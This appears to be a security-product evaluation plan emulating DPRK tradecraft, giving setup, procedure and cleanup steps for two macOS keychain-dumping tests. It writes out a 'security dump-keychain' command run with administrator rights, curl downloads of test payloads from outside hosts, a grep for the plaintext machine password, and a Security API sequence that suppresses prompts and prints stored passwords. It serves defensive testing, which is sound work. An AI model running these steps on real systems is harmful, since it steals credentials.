#
DPRK Protections Micros
#
Test 9: Keychain dumping via AppleScript
#
🎤 Voice Track
Test 9 emulates the dumping of macOS keychains via AppleScript execution of the
security
tool.
The setup on the victim host for this test includes pre-positioning of the AppleScript on victim itzy (10.222.25.70) in /tmp, opening Terminal, then elevating to root.
The test begins with execution of the AppleScript. The AppleScript executes the
following command, redirecting output to /tmp/kc.txt
.
security dump-keychain -d /Library/Keychains/System.keychain > /tmp/kc.txt
The AppleScript executes the security
tool via do shell script
with the
with administrator privileges
to avoid additional GUI password prompts.
Successful execution will create the kc.txt
output file, containing the
machine account's plaintext password from being domain joined.
#
🔨 Setup
➡️ Initiate an RDP session to the Windows jumpbox
spitfire (223.246.0.90)
➡️ From the Windows jumpbox
spitfire (223.246.0.90)
, initiate a VNC session to the macOS victim workstationitzy (10.222.25.70)
if not already connected.At the macOS login screen, authenticate with the following credentials:
Open a Terminal and elevate to sudo, providing the following password when prompted:
sudo su
Download the
test9.scpt
AppleScriptcurl --output /tmp/test9.scpt http://bw-er3ader.org/files-backup/test9.scpt
#
:biohazard: Procedures
Execute
test9.scpt
osascript /tmp/test9.scpt
Run the following command to check the output for the plaintext password
grep -A 10 "Active Directory" /tmp/kc.txt
📷 Screenshot the end state of the test and any command/application output (If a block occurred screenshot any alert/prompt).
#
🧹 Cleanup
In the elevated Terminal, delete
test9.scpt
and the output filerm /tmp/test9.scpt /tmp/kc.txt
Exit and close the Terminal then sign out of the VNC session
#
🔍 ATT&CK Techniques and Reference Code
ℹ️ NOTE: Only the techniques under test are listed in this table
#
Test 10: Keychain dumping via Security API
#
🎤 Voice Track
Test 10 emulates the dumping of macOS keychains via API calls from Security.h.
The setup on the victim host for this test includes pre-positioning of a binary on victim itzy (10.222.25.70) in /tmp, opening Terminal, then elevating to root.
The test begins with execution of the binary. The binary will disable user
interaction pop ups using SecKeychainSetUserInterationAllowed
then set the
default keychain to /private/var/root/Library/Keychains
. The binary will then
check access to the keychain using SecKeychainCopyDefault
, verify it is
unlocked using SecKeychainGetStatus
, then perform a search query for generic
password items (genp), returning all matching items and their
respective attributes using SecItemCopyMatching
. On returned items, the
binary will then attempt to use SecKeychainItemCopyContent
to print the
plaintext password content for the given keychain item.
Successful execution will print the machine account's plaintext password from being domain joined.
#
🔨 Setup
➡️ Initiate an RDP session to the Windows jumpbox
spitfire (223.246.0.90)
➡️ From the Windows jumpbox
spitfire (223.246.0.90)
, initiate a VNC session to the macOS victim workstationitzy (10.222.25.70)
if not already connected.At the macOS login screen, authenticate with the following credentials:
Open a Terminal and elevate to sudo, providing the following password when prompted:
sudo su
Download the
test10
binarycurl --output /tmp/test10 http://ta11-acfan.net/files-backup/test10
Modify the file permissions to make
test10
executablechmod +x /tmp/test10
#
:biohazard: Procedures
Execute
test10
/tmp/test10
📷 Screenshot the end state of the test and any command/application output (If a block occurred screenshot any alert/prompt).
#
🧹 Cleanup
In the elevated Terminal, delete
test10
rm /tmp/test10
Exit and close the Terminal then sign out of the VNC session
#
🔍 ATT&CK Techniques and Reference Code
ℹ️ NOTE: Only the techniques under test are listed in this table
#
Cleanup
- From your Kali attack host
corsair (223.246.0.70)
, return to your C2 terminal tab, and enterctrl+c
to stop the C2.